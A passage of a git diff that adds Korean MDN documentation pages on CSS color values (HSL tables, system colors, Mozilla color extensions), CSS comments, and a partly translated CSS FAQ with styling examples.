+   <td style="background: hsl(120,100%,0%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 20%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,20%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 40%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,40%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 60%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,60%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 80%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,80%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 100%)</code></td>
+   <td>white</td>
+   <td style="background: hsl(120,100%,100%);"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="진하고_옅은_초록">진하고 옅은 초록</h5>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Notation</th>
+   <th scope="col">Description</th>
+   <th scope="col">Live</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hsl(120, 100%, 50%)</code></td>
+   <td>green</td>
+   <td style="background: hsl(120,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 80%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,80%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 60%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,60%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 40%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,40%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 20%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,20%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 0%, 50%)</code></td>
+   <td>gray</td>
+   <td style="background: hsl(120,0%,50%);"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="다양한_HSL_투명도_구문">다양한 HSL 투명도 구문</h5>
+
+<pre style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">hsla(240, 100%, 50%, .05)    <span style="background: hsla(240,100%,50%,0.05);"> /*   5% opaque blue */ </span>
+hsla(240, 100%, 50%, .4)     <span style="background: hsla(240,100%,50%,0.4);"> /*  40% opaque blue */ </span>
+hsla(240, 100%, 50%, .7)     <span style="background: hsla(240,100%,50%,0.7);"> /*  70% opaque blue */ </span>
+hsla(240, 100%, 50%, 1)      <span style="background: hsla(240,100%,50%,1);"> /* full opaque blue */ </span>
+
+/* Whitespace syntax */
+hsla(240 100% 50% / .05)     <span style="background: hsla(240,100%,50%,0.05);"> /*   5% opaque blue */ </span>
+
+/* Percentage value for alpha */
+hsla(240 100% 50% / 5%)      <span style="background: hsla(240,100%,50%,0.05);"> /*   5% opaque blue */ </span>
+</pre>
+
+<h3 id="시스템_색상">시스템 색상</h3>
+
+<p>모든 시스템에서 모든 시스템 색상을 지원하는건 아닙니다. 공개 웹 페이지에서 사용하는건 좋지 않습니다.</p>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0pt 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 15em; background: #eee; -webkit-columns: 15em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>ActiveBorder</dt>
+ <dd>Active window border.</dd>
+ <dt>ActiveCaption</dt>
+ <dd>Active window caption. Should be used with <code>CaptionText</code> as foreground color.</dd>
+ <dt>AppWorkspace</dt>
+ <dd>Background color of multiple document interface.</dd>
+ <dt>Background</dt>
+ <dd>Desktop background.</dd>
+ <dt>ButtonFace</dt>
+ <dd>Face background color for 3-D elements that appear 3-D due to one layer of surrounding border. Should be used with the <code>ButtonText</code> foreground color.</dd>
+ <dt>ButtonHighlight</dt>
+ <dd>The color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border.</dd>
+ <dt>ButtonShadow</dt>
+ <dd>The color of the border away from the light source for 3-D elements that appear 3-D due to that layer of surrounding border.</dd>
+ <dt>ButtonText</dt>
+ <dd>Text on push buttons. Should be used with the <code>ButtonFace</code> or <code>ThreeDFace</code> background color.</dd>
+ <dt>CaptionText</dt>
+ <dd>Text in caption, size box, and scrollbar arrow box. Should be used with the <code>ActiveCaption</code> background color.</dd>
+ <dt>GrayText</dt>
+ <dd>Grayed (disabled) text.</dd>
+ <dt>Highlight</dt>
+ <dd>Item(s) selected in a control. Should be used with the <code>HighlightText</code> foreground color.</dd>
+ <dt>HighlightText</dt>
+ <dd>Text of item(s) selected in a control. Should be used with the <code>Highlight</code> background color.</dd>
+ <dt>InactiveBorder</dt>
+ <dd>Inactive window border.</dd>
+ <dt>InactiveCaption</dt>
+ <dd>Inactive window caption. Should be used with the <code>InactiveCaptionText</code> foreground color.</dd>
+ <dt>InactiveCaptionText</dt>
+ <dd>Color of text in an inactive caption. Should be used with the <code>InactiveCaption</code> background color.</dd>
+ <dt>InfoBackground</dt>
+ <dd>Background color for tooltip controls. Should be used with the <code>InfoText</code> foreground color.</dd>
+ <dt>InfoText</dt>
+ <dd>Text color for tooltip controls. Should be used with the <code>InfoBackground</code> background color.</dd>
+ <dt>Menu</dt>
+ <dd>Menu background. Should be used with the <code>MenuText</code> or <code>-moz-MenuBarText</code> foreground color.</dd>
+ <dt>MenuText</dt>
+ <dd>Text in menus. Should be used with the <code>Menu</code> background color.</dd>
+ <dt>Scrollbar</dt>
+ <dd>Background color of scroll bars.</dd>
+ <dt>ThreeDDarkShadow</dt>
+ <dd>The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDFace</dt>
+ <dd>The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border. Should be used with the <code>ButtonText</code> foreground color.</dd>
+ <dt>ThreeDHighlight</dt>
+ <dd>The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDLightShadow</dt>
+ <dd>The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDShadow</dt>
+ <dd>The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>Window</dt>
+ <dd>Window background. Should be used with the <code>WindowText</code> foreground color.</dd>
+ <dt>WindowFrame</dt>
+ <dd>Window frame.</dd>
+ <dt>WindowText</dt>
+ <dd>Text in windows. Should be used with the <code>Window</code> background color.</dd>
+</dl>
+
+<h3 id="Mozilla_시스템_색상_확장">Mozilla 시스템 색상 확장</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 17em; background: #eee; -webkit-columns: 17em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>-moz-ButtonDefault</dt>
+ <dd>The border color that goes around buttons that represent the default action for a dialog box.</dd>
+ <dt>-moz-ButtonHoverFace</dt>
+ <dd>The background color of a button that the mouse pointer is over (which would be <code>ThreeDFace</code> or <code>ButtonFace</code> when the mouse pointer is not over it). Should be used with the <code>-moz-ButtonHoverText</code> foreground color.</dd>
+ <dt>-moz-ButtonHoverText</dt>
+ <dd>The text color of a button that the mouse pointer is over (which would be ButtonText when the mouse pointer is not over it). Should be used with the <code>-moz-ButtonHoverFace background</code> color.</dd>
+ <dt>-moz-CellHighlight</dt>
+ <dd>Background color for selected item in a tree widget. Should be used with the <code>-moz-CellHighlightText</code> foreground color. See also <code>-moz-html-CellHighlight</code>.</dd>
+ <dt>-moz-CellHighlightText</dt>
+ <dd>Text color for a selected item in a tree. Should be used with the <code>-moz-CellHighlight background</code> color. See also <code>-moz-html-CellHighlightText</code>.</dd>
+ <dt>-moz-Combobox</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Background color for combo-boxes. Should be used with the <code>-moz-ComboboxText</code> foreground color. In versions prior to 1.9.2, use <code>-moz-Field</code> instead.</dd>
+ <dt>-moz-ComboboxText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Text color for combo-boxes. Should be used with the <code>-moz-Combobox</code> background color. In versions prior to 1.9.2, use <code>-moz-FieldText</code> instead.</dd>
+ <dt>-moz-Dialog</dt>
+ <dd>Background color for dialog boxes. Should be used with the <code>-moz-DialogText</code> foreground color.</dd>
+ <dt>-moz-DialogText</dt>
+ <dd>Text color for dialog boxes. Should be used with the <code>-moz-Dialog</code> background color.</dd>
+ <dt>-moz-dragtargetzone</dt>
+ <dt>-moz-EvenTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for even-numbered rows in a tree. Should be used with the <code>-moz-FieldText</code> foreground color. In Gecko versions prior to 1.9, use <code>-moz-Field</code>. See also <code>-moz-OddTreeRow</code>.</dd>
+ <dt>-moz-Field</dt>
+ <dd>Text field background color. Should be used with the <code>-moz-FieldText</code> foreground color.</dd>
+ <dt>-moz-FieldText</dt>
+ <dd>Text field text color. Should be used with the <code>-moz-Field</code>, <code>-moz-EvenTreeRow</code>, or <code>-moz-OddTreeRow</code> background color.</dd>
+ <dt>-moz-html-CellHighlight</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the <code>-moz-html-CellHighlightText</code> foreground color. Prior to Gecko 1.9, use <code>-moz-CellHighlight</code>.</dd>
+ <dt>-moz-html-CellHighlightText</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Text color for highlighted items in HTML {{HTMLElement("select")}}s. Should be used with the <code>-moz-html-CellHighlight</code> background color. Prior to Gecko 1.9, use <code>-moz-CellHighlightText</code>.</dd>
+ <dt>-moz-mac-accentdarkestshadow</dt>
+ <dt>-moz-mac-accentdarkshadow</dt>
+ <dt>-moz-mac-accentface</dt>
+ <dt>-moz-mac-accentlightesthighlight</dt>
+ <dt>-moz-mac-accentlightshadow</dt>
+ <dt>-moz-mac-accentregularhighlight</dt>
+ <dt>-moz-mac-accentregularshadow</dt>
+ <dt>-moz-mac-chrome-active</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-chrome-inactive</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-focusring</dt>
+ <dt>-moz-mac-menuselect</dt>
+ <dt>-moz-mac-menushadow</dt>
+ <dt>-moz-mac-menutextselect</dt>
+ <dt>-moz-MenuHover</dt>
+ <dd>Background color for hovered menu items. Often similar to <code>Highlight</code>. Should be used with the <code>-moz-MenuHoverText</code> or <code>-moz-MenuBarHoverText</code> foreground color.</dd>
+ <dt>-moz-MenuHoverText</dt>
+ <dd>Text color for hovered menu items. Often similar to <code>HighlightText</code>. Should be used with the <code>-moz-MenuHover</code> background color.</dd>
+ <dt>-moz-MenuBarText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Text color in menu bars. Often similar to <code>MenuText</code>. Should be used on top of <code>Menu</code> background.</dd>
+ <dt>-moz-MenuBarHoverText</dt>
+ <dd>Color for hovered text in menu bars. Often similar to <code>-moz-MenuHoverText</code>. Should be used on top of <code>-moz-MenuHover</code> background.</dd>
+ <dt>-moz-nativehyperlinktext</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}} Default platform hyperlink color.</dd>
+ <dt>-moz-OddTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for odd-numbered rows in a tree. Should be used with the <code>-moz-FieldText</code> foreground color. In Gecko versions prior to 1.9, use <code>-moz-Field</code>. See also <code>-moz-EvenTreeRow</code>.</dd>
+ <dt>-moz-win-communicationstext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Should be used for text in objects with <code>{{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;</code>.</dd>
+ <dt>-moz-win-mediatext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Should be used for text in objects with <code>{{cssxref("-moz-appearance")}}: -moz-win-media-toolbox</code>.</dd>
+ <dt>-moz-win-accentcolor</dt>
+ <dd>{{gecko_minversion_inline("56")}}<br>
+ Used to access the Windows 10 custom accent color that you can set on the start menu, taskbar, title bars, etc.</dd>
+ <dt>-moz-win-accentcolortext</dt>
+ <dd>{{gecko_minversion_inline("56")}}<br>
+ Used to access the color of text placed over the Windows 10 custom accent color in the start menu, taskbar, title bars, etc.</dd>
+</dl>
+
+<h3 id="Mozilla_색상_설정_확장">Mozilla 색상 설정 확장</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; background: #eee;">
+ <dt>-moz-activehyperlinktext</dt>
+ <dd>User's preference for text color of active links. Should be used with the default document background color.</dd>
+ <dt>-moz-default-background-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} User's preference for the document background color.</dd>
+ <dt>-moz-default-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} User's preference for the text color.</dd>
+ <dt>-moz-hyperlinktext</dt>
+ <dd>User's preference for the text color of unvisited links. Should be used with the default document background color.</dd>
+ <dt>-moz-visitedhyperlinktext</dt>
+ <dd>User's preference for the text color of visited links. Should be used with the default document background color.</dd>
+</dl>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션과 <a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">그레이디언트</a>는 <code>&lt;color&gt;</code> 값의 빨강, 초록, 파랑 각 구성 성분을 부동소수점 실수를 사용해 보간합니다. 보간 중 예상하지 못한 무채색이 등장하는걸 방지하기 위해 계산은 <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">알파 채널을 미리 곱한 sRGBA 색 공간</a>에서 수행합니다. 애니메이션에서 보간의 속도는 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>색을 구별하기 어려운 사람도 있으므로, <a class="external" href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> 권고안은 특정 메시지, 행동, 또는 결과를 나타내는 방법으로 오직 색만 사용하는걸 강력히 반대하고 있습니다. <a href="/ko/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">색과 색상 대비</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#changes-from-3')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Adds <code>rebeccapurple</code>, four- (<code>#RGBA</code>) and eight-digit (<code>#RRGGBBAA</code>) hexadecimal notations, <code>rgba()</code> and <code>hsla()</code> as aliases of <code>rgb()</code> and <code>hsl()</code> (both with identical parameter syntax), space-separated function parameters as an alternative to commas, percentages for alpha values, and angles for the hue component in <code>hsl()</code> colors.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Deprecates system colors. Adds SVG colors and <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> functional notations.</td>
+  </tr>
+  <tr style="vertical-align: top;">
+   <td style="vertical-align: top;">{{SpecName('CSS2.1', 'syndata.html#value-def-color', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS2.1')}}</td>
+   <td style="vertical-align: top;">Adds the <code>orange</code> keyword and system colors.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{SpecName('CSS1', '#color-units', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS1')}}</td>
+   <td style="vertical-align: top;">Initial definition. Includes 16 basic color keywords.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("opacity")}} 속성으로 요소 자체의 투명도를 바꿀 수 있습니다.</li>
+ <li><code>&lt;color&gt;</code>를 지정할 수 있는 흔히 쓰이는 속성: {{Cssxref("color")}}, {{Cssxref("background-color")}}, {{Cssxref("border-color")}}, {{Cssxref("box-shadow")}}, {{Cssxref("outline-color")}}, {{Cssxref("text-shadow")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색 입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/comments/index.html b/files/ko/web/css/comments/index.html
new file mode 100644
index 0000000000..e101681e9c
--- /dev/null
+++ b/files/ko/web/css/comments/index.html
@@ -0,0 +1,54 @@
+---
+title: Comments
+slug: Web/CSS/Comments
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/Comments
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong>주석</strong>은 코드에 설명을 넣거나, 브라우저가 스타일 시트의 특정 부분을 읽지 못하도록 방지할 때 사용합니다. 주석은 문서의 레이아웃에 영향을 주지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>주석은 스타일 시트에서 공백이 위치할 수 있는 곳 어디에나 넣을 수 있습니다. 한 줄로도, 여러 줄로도 사용할 수 있습니다.</p>
+
+<pre class="syntaxbox">/* Comment */</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css">/* 한 줄 주석 */
+
+/*
+여러
+줄을
+차지하는
+주석
+*/
+
+/* 아래와 같이 사용하면
+   스타일을 숨길 수 있음 */
+/*
+span {
+  color: blue;
+  font-size: 1.5em;
+}
+*/
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>한 줄과 여러 줄 주석 모두 <code>/* */</code> 구문을 사용하며 다른 방법은 없습니다. 그러나 {{htmlelement("style")}} 요소를 사용하는 경우 <code>&lt;!-- --&gt;</code>를 이용해 구형 브라우저에게서 CSS를 숨길 수 있지만, 추천하는 방법은 아닙니다. <code>/* */</code> 주석 구문을 사용하는 대부분의 언어와 마찬가지로 주석을 중첩할 수는 없습니다. 즉 <code>/*</code>을 뒤따르는 첫 번째 <code>*/</code>이 주석을 끝냅니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/CSS21/syndata.html#comments">CSS 2.1 Syntax and basic data types #comments</a></li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/common_css_questions/index.html b/files/ko/web/css/common_css_questions/index.html
new file mode 100644
index 0000000000..604448f6c3
--- /dev/null
+++ b/files/ko/web/css/common_css_questions/index.html
@@ -0,0 +1,199 @@
+---
+title: 공통된 CSS 질문들
+slug: Web/CSS/Common_CSS_Questions
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<h2 id="왜_유효한_내_CSS가_왜_올바르게_그려지지_않는가">왜 유효한 내 CSS가 왜 올바르게 그려지지 않는가?</h2>
+
+<p>Browsers use the <code>DOCTYPE</code> declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern <code>DOCTYPE</code> declaration at the start of your HTML will improve browser standards compliance.</p>
+
+<p>Modern browsers have two main rendering modes:</p>
+
+<ul>
+ <li><em>Quirks Mode</em>: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing <code>DOCTYPE</code> declaration or a known <code>DOCTYPE</code> declaration in common use before 2001 will be rendered in Quirks Mode.</li>
+ <li><em>Standards Mode</em>: the browser attempts to follow the W3C standards strictly. New HTML pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern <code>DOCTYPE</code> declaration will be rendered with Standards Mode.</li>
+</ul>
+
+<p>Gecko-based browsers, have a third <em><a href="/en-US/docs/Gecko's_&quot;Almost_Standards&quot;_Mode" title="Gecko's_&quot;Almost_Standards&quot;_Mode">Almost Standards Mode</a></em> that has only a few minor quirks.</p>
+
+<p>This is a list of the most commonly used <code>DOCTYPE</code> declarations that will trigger Standards or Almost Standards mode:</p>
+
+<pre>&lt;!DOCTYPE html&gt; /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+                   parser, this is the recommended doctype */
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd"&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+</pre>
+
+<h2 id="My_CSS_is_valid.2C_but_not_correctly_rendered" name="My_CSS_is_valid.2C_but_not_correctly_rendered">왜 유효한 내 CSS는 모두 랜더링 되지 않는가?</h2>
+
+<p>원인은 다음과 같다:</p>
+
+<ul>
+ <li>CSS 파일의 경로가 잘못되었다.</li>
+ <li>적용을 위해서는 CSS 파일은 반드시 <code>text/css</code> MIME type으로 전달되어야 한다. 만약 웹 서버가 이 타입을 지원하지 않는다면 적용할 수 없다.</li>
+</ul>
+
+<h2 id="Difference_between_id_and_class" name="Difference_between_id_and_class">id 와 css는 무엇이 다른가?</h2>
+
+<p>HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.<br>
+ <br>
+ Use an id-specific style when you want to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.<br>
+ <br>
+ Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page.</p>
+
+<p>Stylesheets with fewer rules are usually more performant. It is therefore recommended to use classes as much as possible, and to reserve the use of id for specific uses (like to connect label and form elements or for styling elements that must be semantically unique).</p>
+
+<p>See <a href="/en-US/docs/CSS/Getting_Started/Selectors" title="CSS/Getting_Started/Selectors"> CSS selectors</a></p>
+
+<h2 id="Restoring_the_default_property_value" name="Restoring_the_default_property_value"> 프로퍼티(property)에 기본값(default value)으로 복귀 시키는 방법은?</h2>
+
+<p> </p>
+
+<p>본래 CSS는 "default" 키워드를 제공하지 않으며 속성의 기본값을 복원하는 유일한 방법은 해당 속성을 명시 적으로 다시 선언하는 것이다.</p>
+
+<pre><code>/* Heading default color is black */
+h1 { color: red; }
+h1 { color: black; }</code></pre>
+
+<p>이것은 CSS 2에서 변경되었다. 키워드 <a href="https://developer.mozilla.org/es/CSS/initial" title="initial">initial</a>은 이제 CSS 속성에서 유효한 값이다. 지정된 속성의 CSS 사양에 정의 된 기본값으로 재설정된다.</p>
+
+<pre><code>/* Heading default color is black */
+h1 { color: red; }
+h1 { color: initial; }</code></pre>
+
+<p> </p>
+
+<h2 id="Derived_styles" name="Derived_styles">어떻게 하면 한 스타일(style)로 부터 다른 스타일을 파생시킬 수 있는가?</h2>
+
+<p>CSS는 한 스타일 안에서 다른 조건을 정의하는 것을 허용하지 않는다. (See <a href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer's note about the Working Group's stance</a>).  그러나 여러개의 클래스(class)들을 한 엘리먼트(element)에 할당하면 같은 효과를 제공받을 수 있다.</p>
+
+<h2 id="Assigning_multiple_classes" name="Assigning_multiple_classes">어떻게 하면 한 요소(element)에 여러 클래스(class)를 할당할 수 있는가?</h2>
+
+<p>HTML elements can be assigned multiple classes by listing the classes in the <code>class</code> attribute, with a blank space to separate them.</p>
+
+<pre>&lt;style type="text/css"&gt;
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;div class="news today"&gt;
+... content of today's news ...
+&lt;/div&gt;
+</pre>
+
+<p>If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the <code>class</code> attribute is not relevant.</p>
+
+<h2 id="Style_rules_that_don.27t_work" name="Style_rules_that_don.27t_work">왜 내 스타일 룰(style rule)은 올바르게 동작하지 않는가?</h2>
+
+<p>Style rules that are syntactically correct may not apply in certain situations. You can use <a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a>'s <em>CSS Style Rules</em> view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.</p>
+
+<h3 id="HTML_elements_hierarchy" name="HTML_elements_hierarchy">HTML 요소(element) 계층(hierarchy)</h3>
+
+<p>The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.</p>
+
+<pre>.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+&lt;!-- news item text is black, but corporate name is red and in bold --&gt;
+&lt;div class="news"&gt;
+   (Reuters) &lt;span class="corpName"&gt;General Electric&lt;/span&gt; (GE.NYS) announced on Thursday...
+&lt;/div&gt;
+</pre>
+
+<p>In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.</p>
+
+<h3 id="Explicitly_re-defined_style_rule" name="Explicitly_re-defined_style_rule">명확한 스타일 룰 재정의</h3>
+
+<p>CSS 스타일시트 안에서 순서가 중요하다. 만약 룰을 정의하고 같은 룰을 재정의 한다면 마지막 정의가 적용된다.</p>
+
+<pre>#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+&lt;!-- most text is in bold, except "GE", which is red and not bold --&gt;
+&lt;div id="stockTicker"&gt;
+   NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>위와 같은 종류의 오류를 방지하려면 특정 선택자에 대해 규칙을 한 번만 정의하고 해당 선택자에 속하는 모든 규칙을 그룹화 하는 것이 좋다.</p>
+
+<h3 id="Use_of_a_shorthand_property" name="Use_of_a_shorthand_property">프로퍼티(property) 축약형의 사용</h3>
+
+<p>Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.</p>
+
+<pre>#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+&lt;div id="stockTicker"&gt;
+   NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order <strong>is</strong> important.</p>
+
+<pre>#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now normal */
+}
+</pre>
+
+<h3 id="Use_of_the_.2A_selector" name="Use_of_the_.2A_selector">* 셀렉터(selector)의 사용</h3>
+
+<p>* 와일드카드 셀렉터는 모든 엘리먼트에 적용되고, 이것은 특별히 주의를 기울여 사용해야 한다.</p>
+
+<pre>body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+&lt;div id="section"&gt;
+   NYS: &lt;span class="corpName"&gt;&lt;span class="stockUp"&gt;GE&lt;/span&gt;&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>In this example the <code>body *</code> selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So <code>font-weight: bold;</code> applied to the .corpName class is overridden by <code>font-weight: normal;</code> applied to all elements in the body.</p>
+
+<p>The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.</p>
+
+<h3 id="Specificity_in_CSS" name="Specificity_in_CSS">CSS의 특수성</h3>
+
+<p>When multiples rules apply to a certain element, the rule chosen depends on its style <a href="/en-US/docs/CSS/Specificity" title="Specificity">specificity</a>. Inline style (in HTML <code>style</code> attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.</p>
+
+<pre>div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+&lt;div id="orange" class="green" style="color: red;"&gt;This is red&lt;/div&gt;
+</pre>
+
+<p>The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the <a href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 Specification chapter 6.4.3</a>.</p>
+
+<h2 id="What_do_the_-moz-.2A_properties_do.3F" name="What_do_the_-moz-.2A_properties_do.3F">-moz-*, -ms-*, -webkit-*, -o-* and -khtml-* 프로퍼티(property)들이 하는 것은?</h2>
+
+<p>These properties, called <em>prefixed properties</em>, are extensions to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.</p>
+
+<p>The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolves.</p>
+
